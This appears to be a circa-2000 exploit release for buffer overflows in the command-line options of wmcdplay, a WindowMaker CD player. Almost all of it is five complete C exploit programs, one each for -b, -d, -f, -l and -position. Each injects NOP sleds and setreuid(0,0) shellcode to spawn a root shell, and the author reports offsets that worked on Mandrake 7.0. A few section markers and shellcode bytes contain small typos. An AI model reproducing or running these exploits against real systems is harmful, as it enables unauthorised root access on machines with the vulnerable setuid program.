wmcdplay - A cd player designed for WindowMaker
05/09/98  Release 1.0 Beta1

Originaly discovered by the TESO crew.

1   -f artwork_file        load the specified artwork file
2   -l led_color           use the specified color for led displays
3   -b back_color          use the specified color for backgrounds
4   -d cd_device           use specified device  (rather than
/dev/cdrom)
5   -position position     set window position   (see X manual pages)



1. Overflows at buffersize 256.
2. Overflows at buffersize 534.
3. Overflows at buffersize 786. hmmm.
4. Overflows at buffersize 786. hmmm.
5. Overflows at buffersize 1300.


<------------------------ back_color exploit --------------------->
/*Overflows the -b arg (back_color) buffer in wmcdplay due to a bad
sprintf
 *call. This seems to be how most of the command line arguments are
called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
 *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
 *offset 400 worked for me on Mandrake 7.0
 *Credit: TESO Crew http://teso.scene.at/ for finding the original hole.

 */


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction.
*/
#define LEN 786                 /*our buffersize. */


char shellcode[] =              /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-b", buffer, 0);

}
<------------------------ back_color exploit ----------------------->

<------------------------ cd_device exploit --------------------->


/*Overflows the -d arg (cd device) buffer in wmcdplay due to a bad
 *sprintf call.
 *This seems to be how most of the command line arguments are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
 *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
 *offset 400 worked for me on Mandrake 7.0
 *Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
 */


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction.
*/
#define LEN 1045                /*our buffersize. */

char shellcode[] =              /*generic shellcode with out '/' ie not
mine */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"

  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"


"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"


"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{

  __asm__ ("mov %esp, %eax");

}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x, BufSize %d\n", retaddr + atoi
(argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));
  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d", buffer, 0);

}

<------------------------ cd_device exploit ----------------------->

<------------------------ art_file exploit ------------------------->

/*Overflows the -f arg (artfile) buffer in wmcdplay due to a bad
 *sprintf  call.
 *This seems to be how most of the command line arguments are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
 *$:> gcc wmcdplay-fexp.c -o wmf ;./wmf <offset>
 *offset 400 worked for me on Mandrake 7.0
 *Credit: TESO Crew http://teso.scene.at/ for finding the original hole.

 */



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction.
*/
#define LEN 256                 /*our buffersize. */


char shellcode[] =              /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-f", buffer, 0);

}

<------------------------ cd_device exploit ----------------------->

<------------------------ led_color exploit ------------------------>

/*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
 *sprintf  call.
 *This seems to be how most of the command line arguments are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
 *$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
 *offset 390 worked for me on Mandrake 7.0
 *Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
 */



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction.
*/
#define LEN 534                 /*our buffersize. */


char shellcode[] =              /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);

}

<------------------------ led_color exploit------------------------>

<------------------------ position exploit ------------------------->

/*Overflows the -position arg (position) buffer in wmcdplay due to a
 *bad sprintf call.
 *This seems to be how most of the command line arguments are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
 *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
 *offset 400 worked for me on Mandrake 7.0
 *Credit: TESO Crew http://teso.scene.at/ for finding the original -d
hole.
 */



#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction.
*/
#define LEN 1300                /*our buffersize. */


char shellcode[] =              /*execve with setreuid(0,0) and no '/'
hellkit v1.1 */

"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"

  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"

"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"


"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"


"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"


"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"

  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for shellcode and
pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi
(argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));

  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);

}
<------------------------ position exploit ------------------------->